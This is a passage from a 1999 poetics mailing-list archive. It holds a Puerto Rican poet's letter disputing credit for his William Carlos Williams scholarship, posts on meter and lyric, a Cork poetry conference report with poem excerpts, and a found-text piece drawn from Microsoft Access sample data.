| *mailed me around the same time. She too was unaware of the coming*
| *book. What a coincidence: both had gotten Williams fever at the same*
| *time, just at the pub date of my work.)*
|
| *Explicably, back then it was evident that all Victor knew about*
| *the Carlos in Williams was that Mrs. Williams was Puerto Rican and*
| *some poems contain Latin imagery. After my book came out, however,*
| *Victor retooled his career, began to drop Williams's name in*
| *interviews, and now contributes to T&W's project on Williams. Victor,*
| *of course, has every right to respond to the emergence of Williams's*
| *Carlos persona; his misdemeanor has been the lack of etiquette to*
| *inform what parts of his raconteuring comes from my writings. Now,*
| *however, I have to wonder if, when my book of translations of Puerto*
| *Rico's Luis Pales Matos is published in 2000, will Victor become an*
| *overnight translator and freely borrow lines from my translations or*
| *will he simply pick up this new material and read it as his own? And*
| *will you invite him to read it?*
|
| *I mention Pales Matos because, before my book's publication and*
| *not in relation to Williams, in his talks and interviews Victor has*
| *understandably spoken about that great poet, who also happens to be a*
| *key figure in the Carlos story. Victor first heard about the Pales*
| *Matos/Williams connection from me in our prepublication phone*
| *conversation, during which it was obvious that he was having an*
| *epiphany. My Williams book tells the full story of the two poets,*
| *which was later retold in my THE NUMINOUS SITE: THE POETRY OF LUIS*
| *PALES MATOS (Associated U. Presses) and summarized in a piece on Pales*
| *Matos in CALLALOO, both which would be coming out in 1995. In response*
| *to his enthusiasm, I referred him to these publications. If Victor*

> *| intends to discuss the influence of Luis Pales Matos on Williams, an*
> *| extraordinary link that I revealed, can you please ask him to cite his*
> *| sources?*
> |
> | *Ironically, Paul Mariani is also on your lecture program and in*
> *| T&W's book. In his review of my Williams manuscript for the University*
> *| of Texas Press, Mariani demonstrated his intellectual integrity and*
> *| sincere interest in Williams by noting: "...despite the pot shots that*
> *| Marzan takes at me, I think this book is so important that I am*
> *| willing to put them aside." Mariani's work on Williams has been*
> *| invaluable to all of us and his presence in your book and on your*
> *| program on Williams is to be expected. But why doesn't Williams's*
> *| Carlos persona merit a discussion by a poet with comparable*
> *| credentials on the subject of Williams?*
> |
> | *I recall that you didn't sound all that crazy about my work on*
> *| Williams and even tried to get me to strike such references from my*
> *| preface to LUNA, LUNA. Recently, when T&W's Williams book was*
> *| announced, I thought back to your opposition and realized that you had*
> *| been trying, five years after the publication of my book, to protect*
> *| the freshness of Victor's subject. Instead of imagining that Victor*
> *| and I could both write two different kinds of essays, however, you*
> *| kept to a self-imposed quota of one Puerto Rican poet. Against the*
> *| logic of using my original work on Williams, you selected the*
> *| secondary response of the poet whose name recognition was built on*
> *| being sociologically "representative."*
> |
> | *The implications here push the button of the "larger meaning"*
> *| that I referred to at the opening of this letter. You didn't merely*
> *| make an editorial choice; you made a cultural statement. By your*
> *| encouraging Victor to lip-synch my work on Williams, T&W becomes*
> *| another publisher that dictates both who and what Puerto Ricans are*
> *| supposed to be. Under its veneer of social consciousness, then, T&W*
> *| locks us into stereotypes and is really no different from many a*
> *| commercial house. Praeger, for example, recently signed on Carmen*
> *| Dolores Hernandez's book of interviews of mainland Puerto Rican*
> *| writers only after she agreed (so explained Ms. Hernandez) to purge*
> *| her interviews with Martin Espada, Frank Lima and me, poets not*
> *| predictably representative. Victor, of course, remained.*
> *| Significantly, the word "Writers" in the original title was changed to*
> *| "Voices."*
> |
> | *I, of course, don't own Williams and, as I state in THE SPANISH*
> *| AMERICAN ROOTS OF WILLIAM CARLOS WILLIAMS, can't claim to have*
> *| discovered his Latin side because he wrote about it extensively. But I*
> *| was the first to take him at his word and show that consciousness in*
> *| his creative process and his poems, including those that don't have*
> *| Latin imagery. As I also explain in my introduction, the book*

> *| developed from seeing my own bicultural poet's life in Williams's*
> *| biography. I undertook the task to write about Williams (and Pales*
> *| Matos) to claim a rightful literary ancestry for me and other Latino,*
> *| and specifically Puerto Rican, writers.*
> *|*
> *| Unfortunately, besides eliciting a foreseen resistance to giving*
> *| credence or prestige to my contribution on Williams, my book has*
> *| surprisingly disturbed a united front of political correctness and*
> *| professional self-interest that, focusing on me, doesn't celebrate the*
> *| emergence of a reading-based literary consciousness among mainland*
> *| Puerto Ricans. Still informed by the sixties, this mindset wants to*
> *| freeze mainland Puerto Rican lives in the youth-based, street-bound,*
> *| oral-recorded social truth that Victor's work has always evoked. I*
> *| don't forget or deny the working class from where I began, but I find*
> *| it an oppressive solidarity that, to hammer a political message, also*
> *| deprives those same mainland lives, frozen in flat characterizations,*
> *| of the rounding, parallel truth of a Puerto Rican culture in its*
> *| historical fullness and depicted as grown up.*
> *|*
> *| Before I agreed to edit LUNA, LUNA, I was aware that T&W was a*
> *| poetry niche that, when it came to male Latino poets, fostered those*
> *| in the oral tradition. As I myself don't see a contradiction between*
> *| having two traditions, the norm in most literatures, including Puerto*
> *| Rico's, I expected more flexibility from T&W. The fact that you*
> *| contacted me suggested the possibility of balance. But your refusal to*
> *| reward me as the author of a groundbreaking work on Williams, whose*
> *| importance Mariani has acknowledged and David Ignatow described as*
> *| "the most important in decades," definitively demonstrates that at T&W*
> *| what comes first is loyalty to niche and, when it comes to male Latino*
> *| writers, what oral, ethnic, folk, urban aesthetic is represented by*
> *| Victor. It would appear that, like Praeger, T&W has a mission to edit*
> *| more than books.*
> *|*
> *| Lacking the clique Latinos to edit LUNA, LUNA, you resorted to*
> *| me, an "unrepresentative" poet whom you evidently saw as a member of*
> *| some politico-aesthetic other side. The knowledge and writing skills*
> *| for which you sought me were the cause of my being pigeonholed as an*
> *| outsider who should be kept in the shadows, not really one of your T&W*
> *| authors. Consequently, I must interpret that your getting me to edit*
> *| for T&W was another kind of exploitation--extracting from me the work*
> *| you needed before I caught on that you will only showcase certain*
> *| kinds of male Latino writers and that, beyond getting paid, I will not*
> *| be acknowledged.*
> *|*
> *| And so now I understand why LUNA, LUNA was launched like a piece*
> *| of ghostwriting, with no book party, with publicity that identifies me*
> *| as its editor as little as possible, with simply a name and no bio. My*
> *| name doesn't even appear on the front cover or the spine. All those*

> *| copies of good reviews that you have sent me defer to your marketing*
> *| of the book: they praise it and the press without a word of credit to*
> *| its editor--you remember, the only writer who, according to you, would*
> *| really do justice to that essay on Latin American literature that,*
> *| after all this, you asked me to write. Apparently I had misled you*
> *| into believing that I had not yet caught on.*
> *|*
> *|*
> *|*
> *| Sincerely,*
> *| Julio Marzan*
> *|*

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134. Annie Finch
Re: a ghost in the metric
Wed 12 May 1999

Hi John--
There's a review of The Ghost of Meter on the webpage
that describes my idea of the "metrical code"
which is the subject of the book

It's a wordless code of rhythms
that carry associations
evoking past poems
written in the same rhythms and meters
or maybe other rhythms,
preverbal and nonverbal

(though I don't go into the reasons
or conscious motivations
but merely describe a phenomenon
I've noted over and over
in a certain kind of poem,

free-verse poems
written during "metrical crisis"
by certain kinds of poets
who seem to need rhythm a lot);

(Not all free verse--not all 20th c. poetry--
as Marjorie P. has mistakenly remarked
in a recent essay
but just certain poets

for whom this kind of reading
in terms of the metrical code
gets beneath the referential skin
and into the physical pulse
that I argue is one of their messages.

Yes I liked it!!! I don't know how much this kind of reading will relate to the kinds of forms that interest you--it is a particular kind of forming, one with roots in lyric metrical tradition. The forms I see in your magazine and elsewhere, many of them, seem to have other roots--in visual poetry and conceptual art maybe.

I will post this to poetix too.
Thank you for asking
and for your contagious email metric
Annie

> *hi annie*
>
> *thought i'd say hi again*
> *as i'd got round to yr*
> *homepage - wondered at*
> *what yr book of that*
> *title alluded above was*
> *what it might offer*
>
> *rats*
> *now the phone rings*
> *telling me come quick*
> *so post-poning i go - &*
> *didya like that pome ?*
>
> *best)L*

Annie Finch (http://muohio.edu/~finchar)
Cincinnati, Ohio
Associate Professor of English, Miami University

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135. Annie Finch
Lyric
Wed 12 May 1999

Rachel, I would agree with you completely about the many kinds of lyric; as far back as two hundred years ago, I have located a crucial distinction between what i call the "romantic" lyric (the I/thou, gaze/gazer, subject/object dichotomy

where all revolves around the central eye) and what I call the "sentimental" lyric (multivoiced, multiviewpointed, objectifying the speaker as much as the outside world). This powerful but subtle distinction separates poems that might resemble each other quite a bit in other aspects--it even separates some Dickinson poems from other Dickinson poems (I see her as the major crossover figure, since her connection with the sentimental poets of her own time is the source of much of her supposedly autochthonic mystery). Useful though this it is--and to my mind, ESSENTIAL in constructing a coherent feminist poetics that spans centuries-- it gets lost next to the glitzier, cruder, and perhaps rather useless distinction between language poetry and lyric tradition.

Annie

> *Date: Thu, 6 May 1999 14:08:37 -0500*
> *From: Rachel Blau DuPlessis <[redacted]>*
> *Subject: Re: Barnard and beyond Beyond*
>
> *Dear Stephen and whole list--I just checked in to S.Cope's queries about Barnard especially questions of Lyric. Fruitful terrain. In my paper responding (or purporting to respond) to Marjorie, I also queried the binary formulation of the title or rubric under which the conference was "meeting"--that is, Lyric Tradition and Language Poetry, proposed as 2 separate entities. (I know it could be construed as kind of a cheap move to query the horse built by a committee--i.e. the conference title--but this one seemed symptomatic. My query was precisely about the concession of lyric, much less tradition, to one "half" of an impossibly crude binary. I used myself (closest to hand, and of course an act of consummate narcissism) as an example--my critique of certain aspects of the lyric tradition (I/thou, subject/ objectified, gazer/ gazed at) is one (One Important) but Only One aspect of Lyric. Clearly I have gone on record as having a feminist critique of lyric, which has the further amusing effect of bringing under critique and scrutiny a number of Rather Famous Poems. However, there are many aspects of lyric, and the heavy-duty I/thou relation is only one. So what is really called for is an examination of what people now might mean or want when they write in what they call a lyric mode. (And there is no doubt that the poetry of Jean Day, Jennifer Moxley, Susan Gevirtz, Lisa Jarnot, et al. would be proposed here) Is it a (historical) connection with the short poem? (Rae Armantrout) is it closure? is it sound--even unto lushness? (Charles Bernstein) is it a certain contained temporality of the reading that nonetheless opens out into a vast temporality of implication? (Ann Lauterbach) is it awe? strangeness? (Lyn Hejinian) wonder? Is it secularized spiritual urges? Is it just a way of talking "personally"? Is it the loss of the social, the transcendence of the social, or is it inflected with an encrypted social realm?Is it song or dance or a rhythmic stretto? (Nate Mackey) Is it some relationship to an idealized female figure? (Barbara Guest) Is it a formal*

> *containment of discursive varieties? (as Harryette Mullen does in Muse and Drudge with ballad/blues) Is it a certain kind of "overheard" quality or relationship to a listener? How can ear and the intersubjective be factored in, or can it? Is it what Stephen Cope called "lyric tension"--a great phrase--which means what definitionally?--hi Stephen--fill in! Is it a certain kind of subjectivity (one that Mary Margaret Sloan characterized as the poetry of domain in her conference paper)? or is it a voiding of that authoritative master-subjectivity, a kind of evacuation and voiding of the subject? is it beauty that we want from lyric? (thus raising the question--I won't even say it--what is Beauty--ahh, gasp, there--it's out).There are also a few genres within lyric--like ode, song, ballad, maybe elegy.I am not trying to rehearse Poetry 101 here, so read on, maybe. What I am trying to say is 1) we all have a relation to lyric even if we reject part of it or all of it (I made this point at Barnard; rejection is a relationship) 2) lyric is multiple and flexed--what lyric, when, how, for whom are we talking about. Precisions will let*
> *us reject any knee-jerk responses (pro or con) to that word. 3) when people use lyric modes*
> *what part of lyric are they using. I consider that I use the lyric, but want to surround it with other discourses and subjectivities so that it loses its "master-narrative" quality and becomes one element among many others 4) what is the social-psychological surround of lyric? Do we want to agree (with Allen Grossman, for example) that it encodes an oedipal plot (see gender-laden critique of this by RBD in "Manifests" in Diacritics). The one thing that Barnard did, especially that keynote panel, was to remind us to reject binaries.*
> *==========*
> *Rachel Blau DuPlessis*
> *Temple University*
> *Philadelphia, PA 19122*
> [redacted]

Annie Finch (http://muohio.edu/~finchar)
Cincinnati, Ohio
Associate Professor of English, Miami University

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136. juliana spahr
hey whitmaniacs
Wed 12 May 1999

Any one out there know the citation for that passage where Whitman talks about how great American English is b/c it is put together of all different languages/influences?

Or the Webster one?

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137. **Trevor Joyce**
Report from Cork Conference
Wed 12 May 1999

Forwarded with Nate's okay - apologies for cross-posting . . .

Date: 12/05 2:00 am
From: Nate and Jane Dorward, [redacted]
To: British-Poets List, [redacted]

Dear all,

Rather belatedly, I thought I'd add my take on the Cork conference to Randolph's & cris's notes: it got half-written, then shelved, then dragged out again, but is I think still news. My account, though pretty long, is not a full-length portrait: I don't deal with the papers (except to note that Keith Tuma's was the most considered and substantial, a piece viewing contemporary Irish poetry through the prism of the philosophy Giorgio Agamben), simply because I didn't take notes at the time. -- I'm actually quite conscious in writing things up here that my responses have inevitably been inflected by my familiarity with many of the readers and texts before they were read (I even saw an early draft of Keith's paper)--this isn't to disavow my responses positive & negative, though. -- I'll also give a few samples of work not included in Randolph's previous post. General comment: this was my first time in Ireland, and I greatly enjoyed it despite not having time for touristy things. A good social atmosphere surrounded the event proper: let me express my particular thanks for Trevor Joyce's nightly hospitality at his house. The Café Paradiso, gourmet vegetarian restaurant, was a culinary highlight (a big dinner to which most of the attendees came on the first night). (For the record, the lowest point was Abrakebabra, an appalling fastfood joint selected simply because everyone was sick of being rained on during our restaurant-hunt.) -- All readings were held in the Granary Theatre, in a high-vaulting square cement room with windows along one side (much appreciated by myself, since I tend to get a bit stir-crazy in windowless rooms being read at for hours on end).

First evening: Maurice Scully bookended his reading with tributes to Roy Fisher: a prefatory reading from RF's _It Follows That_ and a closing tribute of Maurice's own devising; in between were a number of pieces from his recently completed _Livelihood_ project, including "Five Freedoms of Movement" and "Zulu Dynamite" (the latter due out from Form Books). A quiet but musical reading (MS often lightly tapped time on the desk to the words), at times endangered by the loud patter of rain on the Granary Theatre skylight. An

excellent opener. John Goodby's work I'm not familiar with, beyond the odd _Angel Exhaust_ contribution; he read entirely from his one published book, _A Birmingham Yank_ (Arc). Worthy, but not to me very compelling; there's a strong interest in patterns of historical injustice that didn't get past the tellingly anecdotal (each poem was lengthily self-glossed before or even during its reading, explaining phrases like the aforementioned "Birmingham Yank"). Reminded me a little of Robert Sheppard's later _20th-Century Blues_ work but much more formally conservative (as JG cheerfully admitted). I don't have a sample of JG's work: perhaps someone else could post some? -- Like Scully, Goodby framed his reading with another poet's work: an excerpt from "Memoirs of a Turkoman Diplomat", by the Irish modernist poet Denis Devlin. A sidenote: The pairing of these readers reflected their coediting of _Angel Exhaust_ 17, a fine collection of recent Irish poetry & essays on the Irish experimental tradition, from the '30s modernists (Coffey, MacGreevy, Devlin) through some little-known byways (Eugene Watters, Sheila Wingfield, Mary Devenport O'Neill) to the present. A very worthwhile collection (though the odd typo betrays its rushed production under duress of having it ready for the conference!).

Second day: Billy Mills read from a long sequence alternating between brief lyrics (I'd say "objectivist" but he later objected to this tag, so I'll let list-denizens decide from the sample below) and prose polemics. I've gone on record before (in issue #1 of my magazine _The Gig_) as to my dissatisfaction with Mills' _Tiny Pieces_, the first part of the sequence; but on this occasion it was mostly the prose I had problems with. The polemics were directed against mainstream Irish poetry, against Language Poetry (treated as a monolithic collective noun), against literary theory (with a particularly baffling aside about Wittgenstein's ignorance of how language works), and so on. This was blunt stuff, & not too apposite for the first really international Cork Conference (with the distinguished Language-affiliated writers, Fanny Howe & Karen Mac Cormack, in attendance). -- The one sour note of the event. -- However, I'll include a bit of _Tiny Pieces_ to permit people to make up their own minds:

scattered
this glass
reconstitutes

folds
determine

*

follow
the lines

come
again

*

sun
after rain

luminous
leaves

boxroom
window

Will just register Jools Gilson-Ellis's "Graze", a performance piece not much to my taste: close-miked performer repeating the word "graze" & breathing pronouncedly, leading eventually to the recital of the dictionary definition of "secret". Karen Mac Cormack's reading drew on her entire oeuvre, from _Quill Driver_ to a new work-in-progress, a set of prose pieces. I've heard her read several times before, but this was the first time I heard her perform a retrospective. Fascinating stuff, especially the newest work, which I wish I had to hand, but instead I'll include a bit of _Marine Snow_ (ECW) [you'll need to have a fixed-width font to register the spacing properly--this is meant to be centred on the page]:

MULTI-MENTIONAL

That line's running-board basics

sidereal on all fours

preen

exploitation of perfect timing

renew

maximum syncopation

temperature tantrums clever yes

but mongrel

statistics are with us.

Head up in arms

pieces of time at regular intervals

if the ring fits answer the phone

non-committal background

indications assume no one's perfect

telepathy

soft patience or landslide afloat

the birds not flying pinpoint

a simile swerving away.

Fanny Howe's work I'm not that familiar with; have seen her now twice, at CCCP (many years ago now) and Cork, & both times greatly enjoyed her reading. Perhaps some kind soul can post a sample of her work. -- The next reading was Judy Kravis; Randolph has already accurately described her "beach poems"; I didn't think them at all satisfactory, and would instead recommend those interested in her work to consult her selection in _Angel Exhaust_ 17. -- Geoffrey Squires read from a single long sequence of his. I have mixed feelings about his work; I can admire the strongly individual path he's followed in his recent works--extended series of accumulated phenomenological details without any striking change of direction or stress--without being able to agree with a correspondent of mine who calls result "hypnotic". The interested can find a sample of his work (and others') at <http://www.nd.edu/~ndr/issues/ndr7/ndr7.html>. (The poem there shows some of what worries me about this work, the way details become too explicitly tutelary in their presence: "the small gate that leads where it
leads indirection the trees overspread like hands like gestures of a kind".)

Later that day: Drew Milne gave a fine reading drawing on _Sheet Mettle_, _Bench Marks_ (both Alfred David Editions) and _How Peace Came_ (Equipage). The sonic qualities of a poem like "Positive Indiscriminations" (_Sheet Mettle_) were striking, beyond even its hilariously awful puns (Milne shrewdly used it as a warmup, immediately engaging the audience). I might term the metric "sprung syllabics", perhaps (if that's a metrically meaningful phrase!). From this point Milne moved to "High Time" from _Bench Marks_ and concluded with _How Peace Came_ (modelled on the satirical and visual style of Wyndham Lewis's _Blast_); even the latter, a deliberately noisy & offputting text, communicated and, er, sang. I'll quote, below, the last three stanzas of "High Time":

It is a crying frame, a
mortified hinge, lava
preys upon itself, the
blood bows, scent of
salt to rub along with
and behold each atom,
perfume of reason, its
skein in akeing plume.

Go, then, to the rent
look where all show
of bitter ends, crust
and rosette, simmer
and knife, throws its
face to the wall, each
skipping drift of dark
in its resting clutches.

And in the red corner,
done dusted, there to
sink, as some pillow
of rested cases, each
upon its broken foam,
the plaster gives, not
in circles of the wire
but out of our hearing.

Danny McCarthy's performance was effectively macabre (hooded figure, to the accompaniment of creepy music & the sound of warplanes, douses candles with the heads of dolls) without striking many further sparks. Reminded me a bit of the chilling & wonderful track on Zorn's _The Big Gundown_ album, "The Battle of Algiers". Introduced by the sound of the bells of Shandon (recorded earlier in the week on a trip to the church), cris cheek performed a collage of various texts--some of _fogs_, a bit of _songs from navigation_, a couple "flames" (on the page, they looked just like that, words arranged in flame-shapes), etc. A blackboard was pressed into service at one point, as were a megaphone and the reading lamp (a dangling lightbulb at one point flashed on and off in sync with CC's speech). Hard to say much about the whole thing except expressing my pleasure--or maybe _pleasures_ is the right word for such variousness. "Performance" here drew on a number of modes of public speech, instead of voicing private inscape. I thought of song; acting; speech; lecturing (cris's resonant and projective voice suits all these activities); political harangue; public address-systems (the megaphone). The conclusion of the performance was a duo performance with Keith Tuma of their cowritten text _Oval Orifice_: the shadow of the US's bombing campaign hung over much of the conversation at the conference, and the _Orifice_ gave it a voice (the text receiving a few topical updates just for this performance). I'll include a bit of it, below:

From OVAL ORIFICE

Tricky-Dicky, Tricky-Dick, come out, open Bill's Gates
Pray tell, how your contrary garden do grow?

Compere our vegetate seeds, mix our Fates
Dick, blow on that schtick, tit-willow tit-willow.

If you're tired of a two-way, call out Tricky-Dick
When in search of a new way, a less schticky schtick
He'll huff you and puff you, you just take your pick
All hail!, the adaptor, your friend, Tricky-Dick.

Lewd Pinky put the boxes in the Capitol and the world rolled away. Hanky-Panky sweeps these broken words for love. Tricky-Dick oil your eye from that buttercup shell. Lewd Pinky does the cigar dance, Asia falls to its knees. Hanky-Panky corroborates sex-change truth with advocates of sun-dried life. Tricky-Dick, calling the hail from the hallways of the malls of America.

Tricky-Dicky, Tricky-Dick, come out, open Bill's Gates
Pray tell, how your contrary garden do glow?
Compete our vegetate deeds, trix our Fates
Dick, blow on that schtick, tit-willow tit-willow.

Lewd Pinky busts through the door and Russia goes south. Humpty-Panky clutching at the King's bannisters of sentimental popetry in a last ditch attempt to pre-empt the great fall: "Klingons off the star-bored banner sir!" Lewd Pinky looking up deflation in American Heritage Dictionary, all the news fit to squint. Hanky-Panky runs a spellcheck on his memoirs, finds continual confusion as to whether Pinky or Panky was an avowed intent.

If you're hired by a two-way, call out Tricky-Dick
When in search of Wick Willy, that less snickered schtick
He'll huff you and puff you, or pickle his prick
All wail, the olefactory, piss-prettied Dick.

....

Last morning: the final poetry readings of the conference were by three Irish poets. This was a demanding and impressive trio of performances. Trevor Joyce read from his work of the 1990s, briskly, clearly & intensely; it was a very convincing if demanding presentation of a remarkable body of work. First was a set of three poems that borrowed lines from the work of (respectively) Michael Smith, Randolph Healy and Tom Raworth; next, _Without Asylum_ (published by Wild Honey); _Hopeful Monsters_ (three prose poems that perhaps bring to mind Baudelaire, the Surrealists, and Beckett; forthcoming from Wild Honey); and _Syzygy_ (Wild Honey). I'll quote the Raworth poem, which extends each line of Tom's "Dark Senses" (in _Clean & Well Lit_): the effect is unsettlingly both seamless and unlike either a typical Raworth or Joyce poem.

From DARK SENSES PARALLEL STREETS

bones show through images more opaque than tissue
of friends though they strut pressured between joints
still move in dialogue with tongue baldes fluttering
in darkness what relief to accumulate some utterance

forgive me, it's a dream don't mention it
standing alone, waving it's easy to be fooled
in search of its lost era rich spoils
not just geography forgotten in the foreclosed mine

walking parallel streets try to conceive the waste
of tropical flames blossoming from the settled earth
with a political broom to suppress the outburst
ominous as a smoke signal you needn't understand

over a farewell meal make smalltalk avoid disturbance
of dust in the dust breath lays down
before an open window another field of vision
weather permitting in clarity precedent to the rain

step sharply within no time to lose here
the labyrinth of raw meat though deepening fatigue
jingling those keys won't achieve much you know
dimmed by sweat regrettably the outlines just blur

unthinking insects click, rustle case on case scavenging
for bare subsistence replicate the given circulating minutes
in the skeletons of organizations to the extremities
inexorably crushed by vice the central pump stutters

.....

After this, another forceful performance: Catherine Walsh, reading from _City West_. An elegant stylistic premise: disjunct fragments, typically in chains of present participles, so that one got peppered with "-ing" sounds. Mundane activities somehow sounded more tentative this way, being both recurrent structures of life (the perpetual present) but also at a remove from any particular life. -- I don't have any of this work to hand, but Randolph posted a sample earlier. I was wondering how the last reader, Randolph Healy himself, might feel having to follow these two very fine & high-energy readings. His quieter demeanour suited the comic but sobering poem "Colonies of Belief", an abstract logician's account of human territorial aggression: nationalism, racism & greed. (The poem may be found at <http://indigo.ie/~tjac/Poets/Randolph_Healy/colonies.htm>.) He also read a wonderfully splenetic series of anagrams, "(The) Republic of Ireland", from which I'll post an extract:

her lie-lined tub of crap
her pallid beef in court

her pro-life bit unlaced
her fluid celibate porn

fur dope brilliance
fine hell or bad picture

faith in blue crepe lord
put bile on charred life

ice fire bother and pull
plain cruel if bored

April could be finer
idle half-porcine brute

price trouble in fleadh
fertile blue chip radon

belief in carrot upheld
birth pill feared on cue

Randolph concluded (after a brief comedic interlude with a blackboard and a Gaelic primer) with a reading from _Scales_, his most recent long poem. On the page, this is a highly various work, including everything from anecdotal/discursive writing to abstract wordplay (at one point a quotation from Newton is sorted into piles according to parts of speech) to concrete poetry; but the reader becomes gradually hemmed in by the black blocks which increasingly replace words. During performance many of these missing words were in fact vocalized--in, for instance, a mordant found-poem rearrangement of words from an undertaker's manual that made me squirm a bit; but the last section was read with the blanks intact (becoming long pauses in reading): a legal document with all the verbiage except the word "Whereas" blacked-out made for a quiet, haunted coda. This brought the poetry readings of the conference proper to an end, though still ahead were one paper (Romana Huk's), miscellaneous wrappings-up, and the final hunt for a good pub at which to lunch. But I'll end there, with a last thanks to Alex Davis for organizing the whole conference. Much appreciated & enjoyed. --N

Nate Dorward
[redacted]
109 Hounslow Ave., Willowdale, ON, M2N 2B1, Canada
ph: [redacted]

---------- End Forwarded Message ----------

****
Trevor Joyce
Apple Cork IS&T
Phone : [redacted]
EMail : [redacted]
****

↑ Index

138. **Randy Prunty**

Re: Poetry: telic or not

Wed 12 May 1999

Lowther-Of-The-Two-Minds says "I also question the utility of an individual internal and psychological inquiry's overall validity with respect to something like poetry which must be seen as a social activity" … "so individuals are not at issue but only poetry as communal activity?"… "perhaps it ought to be required of any poet that they think very carefully about what their own telos is" … "or not - come on - like any of us cd really state 'what the telos of our writing' is with any definitiveness - all we've got it seems to me is a serious of working hypotheses - assumption that open certain doors and make other less door-like than a wall of books"

I've been reading something of a "telos tome" (telos tomb?): Arakawa and Gins huge book REVERSIBLE DESTINY. WE HAVE DECIDED NOT TO DIE. Here's a quote from the George Lakoff piece in the book as he tries to sum up what he thinks Arakawa and Gins are up to. "The increasing violence and destruction in the world - physical, ecological, economic, social, and emotional - are all a product of our present modes of thought. If the cruelty is to end, our concepts must change. Since concepts are physically encoded in the brain and grounded in the body, our brains and bodies must change. If art is to play a role for the good, it must disrupt our concepts, our normal ways of functioning - our brains and our bodies. Art as disruption is art as a moral force. Disruption is an aesthetic experience, and an aesthetic experience of this kind is inherently moral. Moreover, disruptive art on a large-enough scale will be sufficient to reverse our destiny, so that the violence and destruction can end."

as I take this in, I too am of two minds. as has been discussed on this list several times, poetry can be a disruptive force, breaking us out of our ritualistic ways of perceiving and conceptualizing. it can change our consciousness. seems like a good thing, no? but to the interest of who? how to escape the "change for the good" that is also part of the "moral" religious argument? or the humanistic "oh gee well things are/can/should be getting better and better?" I find that when I think too much about whether my poetry might be

"telic" it shuts me down. funny paradox, huh? and so I don't write probably because I've put too much pressure on those little ink spots on the paper. the door as you say becomes "a wall of books". on the other hand if I never think about "where my poetry (in general, not just an individual poem) is going" then it loses its interest for me.

Lowther writes: "so have we decided that poetry is telic or not?"

oat for nao
Randy Prunty

↑ Index

139. Poetics List
Re: Mackey Reading / Tisa Bryant
Wed 12 May 1999

---

this came to the administrative account. Chris

From: [redacted]
Date: 5/12/99 12:20 AM +0000

I'm obviously having a hard time with the old Julian.
Nate Mackey's reading is on Thursday the 13th, same day as the Jocelyn Saidenberg/Michael Palmer reading at Adobe Books.

Decisions Decisions.

Sorry for the confusion.

Tisa

↑ Index

140. Jeffrey Jullich
Re: American Social Identity Survey [MICROSOFT]
Wed 12 May 1999

---

from MICROSOFT ACCESS 97 AT A GLANCE, Redmond, WA 1997

(note [p. 37], in light of Edmund White's ~Forgetting Elena~)

[p. 21/28]

PRODUCT NAME (SUPPLIER) [CATEGORY] {QUANTITY PER UNIT} <PRICE>

Chai (Exotic Liquids)
Chang (Exotic Liquids)
Aniseed Syrup (Exotic Liquids)

Chef Anton's Cajun Seasoning (New Orleans Cajun Delights)
Chef Anton's Gumbo Mix (New Orleans Cajun Delights) [Condiments] {36 boxes}
Grandma's Boysenberry Spread (Grandma Kelly's Homestead) [Condiments] {12 - 8 oz jars}
Uncle Bob's Organic Dried Pears (Grandma Kelly's Homestead) [Produce] {12 - 1 lb pkgs.} <$30.00>
Northwoods Cranberry Sauce (Grandma Kelly's Homestead) [Condiments] {12 - 12 oz jars} <$40.00>
Mishi Kobe Niku (Tokyo Traders) [Meat/Poultry] {13 - 500 g pkgs.} <$97.00>
Ikura (Tokyo Traders) [Seafood] {12 - 200 ml jars} <$31.00>
Queso Cabrales (Cooperative de Quesos 'Las Cabras') [Dairy Products] {1 kg pkg.} <$21.00>
Queso Manchego La Pastora (Cooperativa de Quesos 'Las Cabras') [Dairy Products] {10 - 500 g pkgs} <$38.00>
Konbu (Mayumi's) [Seafood] {2 kg box} <$6.00>
Tofu (Mayumi's) [Produce] {40 - 100 g pkgs.} <$23.25>
? C?--- Sh--? (Mayumi's) [Condiments] {24 - 250 ml bottles} <$15.50>
(? D?-l-? Ltd) [Confections] {3? - 500 g boxes} <$17.4?>

[p. 20]

DESCRIPTION (CATEGORY NAME)

Soft drinks, coffees, teas, beers, and ales (Beverages)
Sweet and savory sauces, relishes, spreads, and seasonings (Condiments)
Desserts, candies, and sweet breads (Confections)
Cheeses (Dairy Products)
Breads, crackers, pasta, and cereal (Grains/Cereals)
Prepared meats (Meat/Poultry)
Dried fruit and bean curd (Produce)
Seaweed and fish (Seafood)

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PROGRAM NAME (PROGRAM TYPE) [RECORDING DATE]

1 Wild Adventures (Adventure) [1/1/95]
2 Camp Jolly (Comedy) [11/23/77]
3 Killer Frogs (Drama) [10/8/70]
4 Rocket Scientis (Science Ficti) [10/25/40]
5 Step Aerobics (Fitness) [6/12/84]
6 Great Mountain (Foreign) [8/1/78]

15 Bul?? (Instructional) [5/9/95]
16 Hig (Adventure) [9/9/97]
17 Crusade (Adventure) [5/25/96]

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Dynamation (Adventure) [8/15/96]
High School Da (Adventure) [9/9/97]
Wild Adventures (Adventure) [1/1/95]
True Action (Adventure) [7/5/96]
Crusade (Adventure) [5/25/96]
Night Mission (Adventure) [7/3/97]
Intruder Alert (Adventure) [7/3/97]
Spot (Comedy) [6/21/97]
Off the Deep En (Comedy) [2/14/96]
Trez Village (Comedy) [7/4/97]
Carpe Diem (Comedy) [6/1/96]
Camp Jolly (Comedy) [11/23/77]
Making Arrange (Comedy) [7/8/96]
Killer Frogs (Drama) [10/8/70]
Caveat Emptor (Drama) [12/15/96]
Days of Insurrec (Drama) [12/15/96]

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Alpine Adventure (Travel) [4/15/96]
Crater Man (Science Fiction) [6/12/97]
Rocket Scientis (Science Fiction) [10/25/40]
StarView (Science Fiction) [5/25/97]
FutureScape (Science Fiction) [9/3/96]
Virtual Master (Science Fiction) [5/25/96]
Visual Mania (Science Fiction) [10/3/97]
Imagining Parac? (Romance) [9/13/96]
Creating Alexan (Romance) [1/3/97]
Remembering E (Romance) [5/4/96] < !!!!
Mea Culpa (Romance) [7/14/97]
In the Park (Romance) [10/21/95]
Krista (Romance) [7/4/96]
More, Much Mo (Romance) [12/20/96]
Building Your O (Instructional) [5/9/95]
Dark Vision (Horror) [8/19/97]
Great Mountain (Foreign) [8/1/78]

[p. 61] LAST NAME (see p. 61 for LASTCONTRACAMT, STUDIO, & FEES) [p. 65], [p. 66], & [p. 148] FIRST NAME / FIRST NAME LAST NAME

Fuller
Davolio Nancy
Leverling Janet
Buchanan
Suyama
Peacock
Callahan
Dodsworth
King Robert
Labrune Janine
Franken
Snyder Howard

Martin Dale
Huston Bucky

Stevens Mitchell

[p. 82] FIRST NAME LAST NAME (TITLE) [COMPANY NAME] {ADDRES} [sic]

